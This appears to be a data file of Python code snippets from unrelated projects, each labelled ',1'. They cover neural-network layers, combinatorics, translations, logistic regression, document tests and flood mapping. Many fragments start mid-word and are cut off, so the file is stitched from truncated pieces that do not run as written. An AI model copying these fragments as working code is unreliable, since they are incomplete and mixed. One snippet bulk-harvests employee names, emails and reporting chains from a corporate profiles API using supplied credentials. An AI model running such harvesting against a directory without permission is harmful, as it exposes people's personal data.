f.writelines(contents.decode(""utf8"")) ",1 "m['title']) if not (chp or vol) or ""preview"" in item['title'].lower(): return None tagmap = [ ('FW', 'Fortunate Wife', 'translated'), ('PRC', 'PRC', 'translated'), ('Loiterous', 'Loiterous', 'oel'), ] for tagname, name, tl_type in tagmap: if tagname in item['tags']: return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type) return False",1 "earFunction(function.Function): def check_type_forward(self, in_types): n_in = type_check.eval(in_types.size()) if n_in != 3 and n_in != 6: raise type_check.InvalidType( '%s or %s' % (in_types.size() == 3, in_types.size() == 6), '%s == %s' % (in_types.size(), n_in)) e1_type, e2_type, W_type = in_types[:3] type_check_prod = type_check.make_variable(numpy.prod, 'prod') type_check.expect( e1_type.dtype == numpy.float32, e1_type.ndim >= 2, e2_type.dtype == numpy.float32, e2_type.ndim >= 2, e1_type.shape[0] == e2_type.shape[0], W_type.dtype == numpy.float32, W_type.ndim == 3, type_check_prod(e1_type.shape[1:]) == W_type.shape[0], type_check_prod(e2_type.shape[1:]) == W_type.shape[1], ) if n_in == 6: out_size = W_type.shape[2] V1_type, V2_type, b_type = in_types[3:] type_check.expect( V1_type.dtype == numpy.float32, V1_type.ndim == 2, V1_type.shape[0] == W_type.shape[0], V1_type.shape[1] == out_size, V2_type.dtype == numpy.float32, V2_type.ndim == 2, V2_type.shape[0] == W_type.shape[1], V2_type.shape[1] == out_size, b_type.dtype == numpy.float32, b_type.ndim == 1, b_type.shape[0] == out_size, ) def forward(self, inputs): e1 = array.as_mat(inputs[0]) e2 = array.as_mat(inputs[1]) W = inputs[2] if not type_check.same_types(*inputs): raise ValueError('numpy and cupy must not be used together\n' 'type(W): {0}, type(e1): {1}, type(e2): {2}' .format(type(W), type(e1), type(e2))) xp = cuda.get_array_module(*inputs) if xp is numpy: y = numpy.einsum('ij,ik,jkl->il', e1, e2, W) else: i_len, j_len = e1.shape k_len = e2.shape[1] # 'ij,ik->ijk' e1e2 = e1[:, :, None] * e2[:, None, :] # ijk->i[jk] e1e2 = e1e2.reshape(i_len, j_len * k_len) # jkl->[jk]l W_mat = W.reshape(-1, W.shape[2]) # 'i[jk],[jk]l->il' y = e1e2.dot(W_mat) if len(inputs) == 6: V1, V2, b = inputs[3:] y += e1.dot(V1) y += e2.dot(V2) y += b return y, def backward(self, inputs, grad_outputs): e1 = array.as_mat(inputs[0]) e2 = array.as_mat(inputs[1]) W = inputs[2] gy = grad_outputs[0] xp = cuda.get_array_module(*inputs) if xp is numpy: gW = numpy.einsum('ij,ik,il->jkl', e1, e2, gy) ge1 = numpy.einsum('ik,jkl,il->ij', e2, W, gy) ge2 = numpy.einsum('ij,jkl,il->ik', e1, W, gy) else: kern = cuda.reduce('T in0, T in1, T in2', 'T out', 'in0 * in1 * in2', 'a + b', 'out = a', 0, 'bilinear_product') e1_b = e1[:, :, None, None] # ij e2_b = e2[:, None, :, None] # ik gy_b = gy[:, None, None, :] # il W_b = W[None, :, :, :] # jkl gW = kern(e1_b, e2_b, gy_b, axis=0) # 'ij,ik,il->jkl' ge1 = kern(e2_b, W_b, gy_b, axis=(2, 3)) # 'ik,jkl,il->ij' ge2 = kern(e1_b, W_b, gy_b, axis=(1, 3)) # 'ij,jkl,il->ik' ret = ge1.reshape(inputs[0].shape), ge2.reshape(inputs[1].shape), gW if len(inputs) == 6: V1, V2, b = inputs[3:] gV1 = e1.T.dot(gy) gV2 = e2.T.dot(gy) gb = gy.sum(0) ge1 += gy.dot(V1.T) ge2 += gy.dot(V2.T) ret += gV1, gV2, gb return ret def bilinear(e1, e2, W, V1=None, V2=None, b=None): """"""Applies a bilinear function based on given parameters. This is a building block of Neural Tensor Network (see the reference paper below). It takes two input variables and one or four parameters, and outputs one variable. To be precise, denote six input arrays mathematically by :math:`e^1\\in \\mathbb{R}^{I\\cdot J}`, :math:`e^2\\in \\mathbb{R}^{I\\cdot K}`, :math:`W\\in \\mathbb{R}^{J \\cdot K \\cdot L}`, :math:`V^1\\in \\mathbb{R}^{J \\cdot L}`, :math:`V^2\\in \\mathbb{R}^{K \\cdot L}`, and :math:`b\\in \\mathbb{R}^{L}`, where :math:`I` is mini-batch size. In this document, we call :math:`V^1`, :math:`V^2`, and :math:`b` linear parameters. The output of forward propagation is calculated as .. math:: y_{il} = \\sum_{jk} e^1_{ij} e^2_{ik} W_{jkl} + \\ \\sum_{j} e^1_{ij} V^1_{jl} + \\sum_{k} e^2_{ik} V^2_{kl} + b_{l}. Note that V1, V2, b are optional. If these are not given, then this function omits the last three terms in the above equation. .. note:: This function accepts an input variable ``e1`` or ``e2`` of a non-matrix array. In this case, the leading dimension is treated as the batch dimension, and the other dimensions are reduced to one dimension. .. note:: In the original paper, :math:`J` and :math:`K` must be equal and the author denotes :math:`[V^1 V^2]` (concatenation of matrices) by :math:`V`. Args: e1 (~chainer.Variable): Left input variable. e2 (~chainer.Variable): Right input variable. W (~chainer.Variable): Quadratic weight variable. V1 (~chainer.Variable): Left coefficient variable. V2 (~chainer.Variable): Right coefficient variable. b (~chainer.Variable): Bias variable. Returns: ~chainer.Variable: Output variable. See: `Reasoning With Neural Tensor Networks for Knowledge Base Completion `_ [Socher+, NIPS2013]. """""" flags = [V1 is None, V2 is None, b is None] if any(flags): if not all(flags): raise ValueError('All coefficients and bias for bilinear() must ' 'be None, if at least one of them is None.') return BilinearFunction()(e1, e2, W) else: return BilinearFunction()(e1, e2, W, V1, V2, b) ",1 "= (a*a)%MOD b /= 2 return res fn = [1 for _ in xrange(100001)] ifn = [1 for _ in xrange(100001)] for i in range(1,100000): fn[i] = fn[i-1] * i fn[i] %= MOD ifn[i] = modexp(fn[i],MOD-2) def nCr(n,k): return fn[n] * ifn[k] * ifn[n-k] for ti in range(t): n = int(raw_input()) a = map(int,raw_input().split()) ans = 0 for i in range(n): if i%2==0: ans += nCr(n-1,i)%MOD * a[i]%MOD else: ans -= nCr(n-1,i)%MOD * a[i]%MOD ans %= MOD print ans",1 "clude queueing time inside BitFunnel nor does it include head-of-line blocking queue waiting time on the queue into BitFunnel. import csv filename = ""/tmp/QueryPipelineStatistics.csv"" times = [] with open(filename) as f: reader = csv.reader(f) header = next(reader) assert header == ['query', 'rows', 'matches', 'quadwords', 'cachelines', 'parse', 'plan', 'match'] for row in reader: total_time = float(row[-1]) + float(row[-2]) + float(row[-3]) times.append(total_time) times.sort(reverse=True) idx_max = len(times) - 1 idx = [round(idx_max / 2), round(idx_max / 10), round(idx_max / 100), round(idx_max / 1000), 0] tails = [times[x] for x in idx] print(tails) ",1 "re two nodes of the binary tree and A is ancestor of B. Expected time complexity is O(n). """""" class Node: def __init__(self, data, left=None, right=None): self.data = data self.left = left self.right = right def add_left_child(self, data): self.left = Node(data) return self.left def add_right_child(self, data): self.right = Node(data) return self.right class BinaryTree: def __init__(self, root): self.root = root self.max_difference = -float('inf') def max_difference_node_and_ancestor(self): self.max_min_in_subtree(self.root) return self.max_difference def max_min_in_subtree(self, node): if node is None: return float('inf'), -float('inf') left_min, left_max = self.max_min_in_subtree(node.left) right_min, right_max = self.max_min_in_subtree(node.right) if node.left: self.max_difference = max(self.max_difference, node.data - left_min, node.data - left_max) if node.right: self.max_difference = max(self.max_difference, node.data - right_min, node.data - right_max) return min(node.data, left_min, right_min), max(node.data, left_max, right_max) class TestBinaryTree(unittest.TestCase): def test_max_difference(self): root = Node(8) root.left = Node(3) root.left.left = Node(1) root.left.right = Node(6) root.left.right.left = Node(4) root.left.right.right = Node(7) root.right = Node(10) root.right.right = Node(14) root.right.right.left = Node(13) binary_tree = BinaryTree(root) self.assertEqual(binary_tree.max_difference_node_and_ancestor(), 7) ",1 "from queue import Queue from threading import Thread import time class SetQueue(Queue): def _init(self, maxsize): Queue._init(self, maxsize) self.all_items = set() def _put(self, item): if item not in self.all_items: Queue._put(self, item) self.all_items.add(item) def signal_handler(signal, frame): print('You pressed Ctrl+C!') sys.exit(0) def usage(): """"""usage de la ligne de commande"""""" print (""usage : "" + sys.argv[0] + ""-h --help -s --server someurl.com -u --user login -p --password password"") def getAtomFeed(url, login, pwd): # var MAX_TRY = 10 essai = 0 # get atom document while essai < MAX_TRY: try: r = requests.get('http://' + url, auth=(login,pwd), timeout=10) except: essai += 1 continue break else: raise ('Erreur lors de la requête') # parse atom document try: dom = xml.dom.minidom.parseString(r.text) except: raise ('Erreur lors du parsing du document Atom') return dom def getManagerInfo(atomFeed): try: entries = atomFeed.getElementsByTagName('entry')[1] except: return None try: managerId = entries.getElementsByTagName('snx:userid')[0] return managerId.firstChild.data except: return None def buildUrlSearchList(server, login, pwd, q): # var alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] #alphabet = ['a'] for i in alphabet: url = server + '/profiles/atom/search.do?search=' + i + '*&ps=250' dom = getAtomFeed(url, login, pwd) totalResult = dom.getElementsByTagName('opensearch:totalResults')[0] totalResult = int(totalResult.firstChild.data) if totalResult > 250: nbPage = int(float(totalResult) / 250) + 1 for n in range(1,nbPage,1): item = url + ""&page="" + str(n) q.put(item) else: nbPage = 1 q.put(url) def getUserIdsWorker(login, pwd, qin, qout): while True: url = qin.get() if url == None: break qin.task_done() try: dom = getAtomFeed(url, login, pwd) except: continue userIds = dom.getElementsByTagName('snx:userid') for index, item, in enumerate(userIds): qout.put(item.firstChild.data) def getRelationsWorker(server, login, pwd, qin, qout, getManager, qmgmt): while True: userid = qin.get() if userid == None: break qin.task_done() url = server + '/profiles/atom/connections.do?userid=' + userid + '&connectionType=colleague&ps=250' try: dom = getAtomFeed(url, login, pwd) except: continue feed = dom.firstChild entries = feed.getElementsByTagName('entry') for entry in entries: # get date dateRelation = entry.getElementsByTagName('updated')[0] dateRelation = dateRelation.firstChild.data dateRelation = dateRelation[:10] # get author user id author = entry.getElementsByTagName('author')[0] try: authorName = author.getElementsByTagName('name')[0] authorName = authorName.firstChild.data except: authorName = """" try: authorEMail = author.getElementsByTagName('email')[0] authorEMail = authorEMail.firstChild.data except: authorEMail = """" authorUserId = author.getElementsByTagName('snx:userid')[0] authorUserId = authorUserId.firstChild.data # get contributor user id contributor = entry.getElementsByTagName('contributor')[0] try: contribName = contributor.getElementsByTagName('name')[0] contribName = contribName.firstChild.data except: contribName = """" try: contribEMail = contributor.getElementsByTagName('email')[0] contribEMail = contribEMail.firstChild.data except: contribEMail = """" contribUserId = contributor.getElementsByTagName('snx:userid')[0] contribUserId = contribUserId.firstChild.data # build dict authorInfo = { ""userid"" : authorUserId, ""name"" : authorName, ""email"" : authorEMail } contribInfo = { ""userid"" : contribUserId, ""name"" : contribName, ""email"" : contribEMail } relation = ""\"""" + authorUserId + ""\"",\"""" + contribUserId + ""\"",\""<("" + str(dateRelation) + "",Infinity)>\"""" qout.put(authorInfo) qout.put(contribInfo) qout.put(relation) # get manager if getManager == True: url = server + ""/profiles/atom/reportingChain.do?userid="" + userid rc = getAtomFeed(url, login, pwd) managerId = getManagerInfo(rc) if managerId is not None: reportingChain = str(userid) + "","" + str(managerId) qmgmt.put(reportingChain) def printStatusThread(q0, q1, q2, q3): strtime = time.time() while True: sys.stdout.write('\r\x1b[K') sys.stdout.write(""urls:"" + str(q0.qsize()) + "" | "") sys.stdout.write(""userids:"" + str(q1.qsize()) + "" | "") sys.stdout.write(""user infos:"" + str(q2.qsize()) + "" | "") sys.stdout.write(""manager infos:"" + str(q3.qsize())) sys.stdout.flush() time.sleep(1) def writeFileThread(usersFilename, relationsFilename, qin): # file for user details u = open(usersFilename + "".csv"", ""w"") u.write(""Id,Label,eMail\n"") # file for relations r = open(relationsFilename + "".csv"", ""w"") r.write(""Source,Target,Time Interval\n"") doneUsers = [] while True: data = qin.get() if data == None: u.flush() r.flush() u.close() r.close() break # write data if type(data) is dict: string = str(data[""userid""]) + ',' + str(data[""name""]) + ',' + str(data[""email""]) if string not in doneUsers: u.write(string + ""\n"") doneUsers.append(string) elif type(data) is str: r.write(str(data) + ""\n"") qin.task_done() def writeManagerFileThread(managerFilename, qin): m = open(managerFilename + "".csv"", ""w"") m.write(""Source,Target\n"") while True: data = qin.get() if data == None: break m.write(str(data) + ""\n"") qin.task_done() def main(argv): # global serverUrl = """" login = """" pwd = """" getManager = False urlQueue = SetQueue(maxsize=5000) userIdsQueue = SetQueue(maxsize=5000) userInfosQueue = Queue(maxsize=5000) userManagerQueue = Queue(maxsize=5000) # signal handler signal.signal(signal.SIGINT, signal_handler) # retrive arguments try: opts, args = getopt.getopt(argv, ""hs:u:p:m"", [""help"", ""server="", ""user="", ""password="", ""manager""]) for opt, arg in opts: if opt in (""-h"", ""--help""): usage() sys.exit() elif opt in (""-s"", ""--server""): serverUrl = arg elif opt in (""-u"", ""--user""): login = arg elif opt in (""-p"", ""--password""): pwd = arg elif opt in (""-m"", ""--manager""): getManager = True except: usage() sys.exit() # threading get userinfo worker userIdWorker = [] for i in range(10): w1 = Thread(target=getUserIdsWorker, args=(login, pwd, urlQueue, userIdsQueue,)) w1.setDaemon(True) w1.start() userIdWorker.append(w1) # threading get relations worker userInfoWorker = [] for i in range(20): w2 = Thread(target=getRelationsWorker, args=(serverUrl, login, pwd, userIdsQueue, userInfosQueue, getManager, userManagerQueue,)) w2.setDaemon(True) w2.start() userInfoWorker.append(w2) # thread to print size of queue w3 = Thread(target=printStatusThread, args=(urlQueue, userIdsQueue, userInfosQueue, userManagerQueue,)) w3.setDaemon(True) w3.start() # thread to write files w4 = Thread(target=writeFileThread, args=(""users"", ""relations"", userInfosQueue,)) w4.setDaemon(True) w4.start() if getManager == True: w5 = Thread(target=writeManagerFileThread, args=(""manager"", userManagerQueue,)) w5.setDaemon(True) w5.start() # build Queue url list MAX_TRY = 10 essai = 0 while essai < MAX_TRY: try: buildUrlSearchList(serverUrl, login, pwd, urlQueue) except KeyboardInterrupt: break except: essai += 1 continue break while not (urlQueue.empty() and userIdsQueue.empty() and userInfosQueue.empty()): pass print (""end threads"") urlQueue.put(None) userIdsQueue.put(None) userInfosQueue.put(None) # end of workers for i in userIdWorker: i.join() for i in userInfoWorker: i.join() time.sleep(5) sys.exit(0) if __name__ == '__main__': main(sys.argv[1:]) ",1 "and raise the ErrorResponse instance if an error is encountered. :param f: :return: """""" def inner(*args, **kwargs): warn('`raise_for_error` is deprecated and will not process any response content.') return f(*args, **kwargs) # e = ErrorResponse.load(content) # e.raise_for_error() # return content return inner def raise_response_for_error(f): """""" Wrapper method to parse a response object and raise the ErrorResponse instance if an error is encountered in the response body. :param f: :return: """""" def inner(*args, **kwargs): warn('`raise_response_for_error` is deprecated and will not process any response content.') return f(*args, **kwargs) return inner ",1 "ptional expression like ""field1=\'newvalue\'"". You cannot update or delete the results of a JOIN', '%Y-%m-%d': '%Y.%m.%d.', '%Y-%m-%d %H:%M:%S': '%Y.%m.%d. %H:%M:%S', '%s rows deleted': '%s sorok t\xc3\xb6rl\xc5\x91dtek', '%s rows updated': '%s sorok friss\xc3\xadt\xc5\x91dtek', 'Available databases and tables': 'El\xc3\xa9rhet\xc5\x91 adatb\xc3\xa1zisok \xc3\xa9s t\xc3\xa1bl\xc3\xa1k', 'Cannot be empty': 'Nem lehet \xc3\xbcres', 'Check to delete': 'T\xc3\xb6rl\xc3\xa9shez v\xc3\xa1laszd ki', 'Client IP': 'Client IP', 'Controller': 'Controller', 'Copyright': 'Copyright', 'Current request': 'Jelenlegi lek\xc3\xa9rdez\xc3\xa9s', 'Current response': 'Jelenlegi v\xc3\xa1lasz', 'Current session': 'Jelenlegi folyamat', 'DB Model': 'DB Model', 'Database': 'Adatb\xc3\xa1zis', 'Delete:': 'T\xc3\xb6r\xc3\xb6l:', 'Description': 'Description', 'E-mail': 'E-mail', 'Edit': 'Szerkeszt', 'Edit This App': 'Alkalmaz\xc3\xa1st szerkeszt', 'Edit current record': 'Aktu\xc3\xa1lis bejegyz\xc3\xa9s szerkeszt\xc3\xa9se', 'First name': 'First name', 'Group ID': 'Group ID', 'Hello World': 'Hello Vil\xc3\xa1g', 'Import/Export': 'Import/Export', 'Index': 'Index', 'Internal State': 'Internal State', 'Invalid Query': 'Hib\xc3\xa1s lek\xc3\xa9rdez\xc3\xa9s', 'Invalid email': 'Invalid email', 'Last name': 'Last name', 'Layout': 'Szerkezet', 'Main Menu': 'F\xc5\x91men\xc3\xbc', 'Menu Model': 'Men\xc3\xbc model', 'Name': 'Name', 'New Record': '\xc3\x9aj bejegyz\xc3\xa9s', 'No databases in this application': 'Nincs adatb\xc3\xa1zis ebben az alkalmaz\xc3\xa1sban', 'Origin': 'Origin', 'Password': 'Password', 'Powered by': 'Powered by', 'Query:': 'Lek\xc3\xa9rdez\xc3\xa9s:', 'Record ID': 'Record ID', 'Registration key': 'Registration key', 'Reset Password key': 'Reset Password key', 'Role': 'Role', 'Rows in table': 'Sorok a t\xc3\xa1bl\xc3\xa1ban', 'Rows selected': 'Kiv\xc3\xa1lasztott sorok', 'Stylesheet': 'Stylesheet', 'Sure you want to delete this object?': 'Biztos t\xc3\xb6rli ezt az objektumot?', 'Table name': 'Table name', 'The ""query"" is a condition like ""db.table1.field1==\'value\'"". Something like ""db.table1.field1==db.table2.field2"" results in a SQL JOIN.': 'The ""query"" is a condition like ""db.table1.field1==\'value\'"". Something like ""db.table1.field1==db.table2.field2"" results in a SQL JOIN.', 'Timestamp': 'Timestamp', 'Update:': 'Friss\xc3\xadt:', 'Use (...)&(...) for AND, (...)|(...) for OR, and ~(...) for NOT to build more complex queries.': 'Use (...)&(...) for AND, (...)|(...) for OR, and ~(...) for NOT to build more complex queries.', 'User ID': 'User ID', 'View': 'N\xc3\xa9zet', 'Welcome to web2py': 'Isten hozott a web2py-ban', 'appadmin is disabled because insecure channel': 'az appadmin a biztons\xc3\xa1gtalan csatorna miatt letiltva', 'cache': 'gyors\xc3\xadt\xc3\xb3t\xc3\xa1r', 'change password': 'jelsz\xc3\xb3 megv\xc3\xa1ltoztat\xc3\xa1sa', 'click here for online examples': 'online p\xc3\xa9ld\xc3\xa1k\xc3\xa9rt kattints ide', 'click here for the administrative interface': 'az adminisztr\xc3\xa1ci\xc3\xb3s fel\xc3\xbclet\xc3\xa9rt kattints ide', 'customize me!': 'v\xc3\xa1ltoztass meg!', 'data uploaded': 'adat felt\xc3\xb6ltve', 'database': 'adatb\xc3\xa1zis', 'database %s select': 'adatb\xc3\xa1zis %s kiv\xc3\xa1laszt\xc3\xa1s', 'db': 'db', 'design': 'design', 'done!': 'k\xc3\xa9sz!', 'edit profile': 'profil szerkeszt\xc3\xa9se', 'export as csv file': 'export\xc3\xa1l csv f\xc3\xa1jlba', 'insert new': '\xc3\xbaj beilleszt\xc3\xa9se', 'insert new %s': '\xc3\xbaj beilleszt\xc3\xa9se %s', 'invalid request': 'hib\xc3\xa1s k\xc3\xa9r\xc3\xa9s', 'login': 'bel\xc3\xa9p', 'logout': 'kil\xc3\xa9p', 'lost password': 'elveszett jelsz\xc3\xb3', 'new record inserted': '\xc3\xbaj bejegyz\xc3\xa9s felv\xc3\xa9ve', 'next 100 rows': 'k\xc3\xb6vetkez\xc5\x91 100 sor', 'or import from csv file': 'vagy bet\xc3\xb6lt\xc3\xa9s csv f\xc3\xa1jlb\xc3\xb3l', 'previous 100 rows': 'el\xc5\x91z\xc5\x91 100 sor', 'record': 'bejegyz\xc3\xa9s', 'record does not exist': 'bejegyz\xc3\xa9s nem l\xc3\xa9tezik', 'record id': 'bejegyz\xc3\xa9s id', 'register': 'regisztr\xc3\xa1ci\xc3\xb3', 'selected': 'kiv\xc3\xa1lasztott', 'state': '\xc3\xa1llapot', 'table': 't\xc3\xa1bla', 'unable to parse csv file': 'nem lehet a csv f\xc3\xa1jlt beolvasni', } ",1 "np import datetime # from numpy import linalg import os.path as osp import sys cur_dir = osp.dirname(osp.abspath(__file__)) sys.path.insert(1, osp.join(cur_dir, '.')) from sklearn.datasets import load_svmlight_file from scipy.sparse import csr_matrix # from scipy.sparse import linalg import matplotlib matplotlib.use(""Agg"") import matplotlib.pyplot as plt import tensorflow as tf from tf_utils import pinv_naive, pinv path_train = osp.join(cur_dir, ""../a9a/a9a"") path_test = osp.join(cur_dir, ""../a9a/a9a.t"") MAX_ITER = 100 np_dtype = np.float32 tf_dtype = tf.float32 # manual seed manualSeed = random.randint(1, 10000) # fix seed print(""Random Seed: "", manualSeed) random.seed(manualSeed) np.random.seed(manualSeed) # load all data X_train, y_train = load_svmlight_file(path_train, n_features=123, dtype=np_dtype) X_test, y_test = load_svmlight_file(path_test, n_features=123, dtype=np_dtype) # X: scipy.sparse.csr.csr_matrix # X_train: (32561, 123), y_train: (32561,) # X_test: (16281, 123), y_test:(16281,) # stack a dimension of ones to X to simplify computation N_train = X_train.shape[0] N_test = X_test.shape[0] X_train = np.hstack((np.ones((N_train, 1)), X_train.toarray())).astype(np_dtype) X_test = np.hstack((np.ones((N_test, 1)), X_test.toarray())).astype(np_dtype) # print(X_train.shape, X_test.shape) y_train = y_train.reshape((N_train, 1)) y_test = y_test.reshape((N_test, 1)) # label: -1, +1 ==> 0, 1 y_train = np.where(y_train == -1, 0, 1) y_test = np.where(y_test == -1, 0, 1) # NB: here X's shape is (N,d), which differs to the derivation def neg_log_likelihood(w, X, y, L2_param=None): """""" w: dx1 X: Nxd y: Nx1 L2_param: \lambda>0, will introduce -\lambda/2 ||w||_2^2 """""" # print(type(X), X.dtype) res = tf.matmul(tf.matmul(tf.transpose(w), tf.transpose(X)), y.astype(np_dtype)) - \ tf.reduce_sum(tf.math.log(1 + tf.exp(tf.matmul(X, w)))) if L2_param != None and L2_param > 0: res += -0.5 * L2_param * tf.matmul(tf.transpose(w), w) return -res[0][0] def prob(X, w): """""" X: Nxd w: dx1 --- prob: N x num_classes(2)"""""" y = tf.constant(np.array([0.0, 1.0]), dtype=tf.float32) prob = tf.exp(tf.matmul(X, w) * y) / (1 + tf.exp(tf.matmul(X, w))) return prob def compute_acc(X, y, w): p = prob(X, w) y_pred = tf.cast(tf.argmax(p, axis=1), tf.float32) y = tf.cast(tf.squeeze(y), tf.float32) acc = tf.reduce_mean(tf.cast(tf.equal(y, y_pred), tf.float32)) return acc def update(w_old, X, y, L2_param=0): """""" w_new = w_old - w_update w_update = (X'RX+lambda*I)^(-1) (X'(mu-y) + lambda*w_old) lambda is L2_param w_old: dx1 X: Nxd y: Nx1 --- w_update: dx1 """""" d = X.shape[1] mu = tf.sigmoid(tf.matmul(X, w_old)) # Nx1 R_flat = mu * (1 - mu) # element-wise, Nx1 L2_reg_term = L2_param * tf.eye(d) XRX = tf.matmul(tf.transpose(X), R_flat * X) + L2_reg_term # dxd # np.save('XRX_tf.npy', XRX.numpy()) # calculate pseudo inverse via SVD # method 1 # slightly better than tfp.math.pinv when L2_param=0 XRX_pinv = pinv_naive(XRX) # method 2 # XRX_pinv = pinv(XRX) # w = w - (X^T R X)^(-1) X^T (mu-y) # w_new = tf.assign(w_old, w_old - tf.matmul(tf.matmul(XRX_pinv, tf.transpose(X)), mu - y)) y = tf.cast(y, tf_dtype) w_update = tf.matmul(XRX_pinv, tf.matmul(tf.transpose(X), mu - y) + L2_param * w_old) return w_update def optimize(w_old, w_update): """"""custom update op, instead of using SGD variants"""""" return w_old.assign(w_old - w_update) def train_IRLS(X_train, y_train, X_test=None, y_test=None, L2_param=0, max_iter=MAX_ITER): """"""train Logistic Regression via IRLS algorithm X: Nxd y: Nx1 --- """""" N, d = X_train.shape w = tf.Variable(0.01 * tf.ones((d, 1), dtype=tf.float32), name=""w"") current_time = datetime.datetime.now().strftime(""%Y%m%d_%H%M%S"") summary_writer = tf.summary.create_file_writer(f""./logs/{current_time}"") print(""start training..."") print(""L2 param(lambda): {}"".format(L2_param)) i = 0 # iteration while i <= max_iter: print(""iter: {}"".format(i)) # print('\t neg log likelihood: {}'.format(sess.run(neg_L, feed_dict=train_feed_dict))) neg_L = neg_log_likelihood(w, X_train, y_train, L2_param) print(""\t neg log likelihood: {}"".format(neg_L)) train_acc = compute_acc(X_train, y_train, w) with summary_writer.as_default(): tf.summary.scalar(""train_acc"", train_acc, step=i) tf.summary.scalar(""train_neg_L"", neg_L, step=i) test_acc = compute_acc(X_test, y_test, w) with summary_writer.as_default(): tf.summary.scalar(""test_acc"", test_acc, step=i) print(""\t train acc: {}, test acc: {}"".format(train_acc, test_acc)) L2_norm_w = np.linalg.norm(w.numpy()) print(""\t L2 norm of w: {}"".format(L2_norm_w)) if i > 0: diff_w = np.linalg.norm(w_update.numpy()) print(""\t diff of w_old and w: {}"".format(diff_w)) if diff_w < 1e-2: break w_update = update(w, X_train, y_train, L2_param) w = optimize(w, w_update) i += 1 print(""training done."") if __name__ == ""__main__"": # test_acc should be about 0.85 lambda_ = 20 # 0 train_IRLS(X_train, y_train, X_test, y_test, L2_param=lambda_, max_iter=100) from sklearn.linear_model import LogisticRegression classifier = LogisticRegression() classifier.fit(X_train, y_train.reshape(N_train,)) y_pred_train = classifier.predict(X_train) train_acc = np.sum(y_train.reshape(N_train,) == y_pred_train)/N_train print('train_acc: {}'.format(train_acc)) y_pred_test = classifier.predict(X_test) test_acc = np.sum(y_test.reshape(N_test,) == y_pred_test)/N_test print('test acc: {}'.format(test_acc)) ",1 "p from . import check_tag def test_init(): doc = Document() check_tag(doc.doc, ['document', 'body']) check_tag(doc.body, ['body']) def test_save(): doc = Document() tmp = BytesIO() doc.save(tmp) with ZipFile(tmp) as zippy: assert(zippy.testzip() is None) assert(set(zippy.namelist()) == set([ '[Content_Types].xml', '_rels/.rels', 'docProps/app.xml', 'word/fontTable.xml', 'word/numbering.xml', 'word/settings.xml', 'word/styles.xml', 'word/stylesWithEffects.xml', 'word/webSettings.xml', 'word/theme/theme1.xml', 'word/_rels/document.xml.rels', 'word/document.xml', 'docProps/core.xml' ])) zxf = zippy.open('word/document.xml') root = etree.parse(zxf) check_tag(root, 'document body'.split()) def test_load(): # assume save works d = Document() tmp = BytesIO() d.save(tmp) doc = Document.load(tmp) check_tag(doc.doc, 'document body'.split()) check_tag(doc.body, 'body'.split()) def test_dumps(): doc = Document() assert doc.dumps() def test_core_props(): doc = Document() attrs = dict(lastModifiedBy='Joe Smith', keywords=['egg', 'spam'], title='Testing Doc', subject='A boilerplate document', creator='Jill Smith', description='Core properties test.', created=datetime.now() ) doc.update(attrs) core = doc.get_core_props() for key in ('title', 'subject', 'creator', 'description'): attr = core.find('.//dc:%s' % key, namespaces=nsmap) assert attr is not None assert attr.text == attrs[key] attr = core.find('.//cp:keywords', namespaces=nsmap) assert attr is not None assert attr.text == ','.join(attrs['keywords']) attr = core.find('.//dcterms:created', namespaces=nsmap) assert attr is not None assert datetime.strptime(attr.text, '%Y-%m-%dT%H:%M:%SZ') == datetime(*attrs['created'].timetuple()[:6]) ",1 "om xlsxwriter.utility import xl_rowcol_to_cell def format_excel(writer, df_size): """""" Add Excel specific formatting to the workbook df_size is a tuple representing the size of the dataframe - typically called by df.shape -> (20,3) """""" # Get the workbook and the summary sheet so we can add the formatting workbook = writer.book worksheet = writer.sheets['summary'] # Add currency formatting and apply it money_fmt = workbook.add_format({'num_format': 42, 'align': 'center'}) worksheet.set_column('A:A', 20) worksheet.set_column('B:C', 15, money_fmt) # Add 1 to row so we can include a total # subtract 1 from the column to handle because we don't care about index table_end = xl_rowcol_to_cell(df_size[0] + 1, df_size[1] - 1) # This assumes we start in the left hand corner table_range = 'A1:{}'.format(table_end) worksheet.add_table(table_range, {'columns': [{'header': 'account', 'total_string': 'Total'}, {'header': 'Total Sales', 'total_function': 'sum'}, {'header': 'Average Sales', 'total_function': 'average'}], 'autofilter': False, 'total_row': True, 'style': 'Table Style Medium 20'}) if __name__ == ""__main__"": sales_df = pd.read_excel('https://github.com/chris1610/pbpython/blob/master/data/sample-salesv3.xlsx?raw=true') sales_summary = sales_df.groupby(['name'])['ext price'].agg(['sum', 'mean']) # Reset the index for consistency when saving in Excel sales_summary.reset_index(inplace=True) writer = pd.ExcelWriter('sales_summary.xlsx', engine='xlsxwriter') sales_summary.to_excel(writer, 'summary', index=False) format_excel(writer, sales_summary.shape) writer.save() ",1 "Administrator of the National Aeronautics and Space Administration. All # rights reserved. # # The Crisis Mapping Toolkit (CMT) v1 platform is licensed under the Apache # License, Version 2.0 (the ""License""); you may not use this file except in # compliance with the License. You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0. # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. # ----------------------------------------------------------------------------- import ee import math from cmt.mapclient_qt import addToMap from cmt.util.miscUtilities import safe_get_info import modis_utilities ''' Contains implementations of several simple MODIS-based flood detection algorithms. ''' #============================================================== def dem_threshold(domain, b): '''Just use a height threshold on the DEM!''' heightLevel = float(domain.algorithm_params['dem_threshold']) dem = domain.get_dem().image return dem.lt(heightLevel).select(['elevation'], ['b1']) #============================================================== def evi(domain, b): '''Simple EVI based classifier''' #no_clouds = b['b3'].lte(2100).select(['sur_refl_b03'], ['b1']) criteria1 = b['EVI'].lte(0.3).And(b['LSWI'].subtract(b['EVI']).gte(0.05)).select(['sur_refl_b02'], ['b1']) criteria2 = b['EVI'].lte(0.05).And(b['LSWI'].lte(0.0)).select(['sur_refl_b02'], ['b1']) #return no_clouds.And(criteria1.Or(criteria2)) return criteria1.Or(criteria2) def xiao(domain, b): '''Method from paper: Xiao, Boles, Frolking, et. al. Mapping paddy rice agriculture in South and Southeast Asia using multi-temporal MODIS images, Remote Sensing of Environment, 2006. This method implements a very simple decision tree from several standard MODIS data products. The default constants were tuned for (wet) rice paddy detection. ''' return 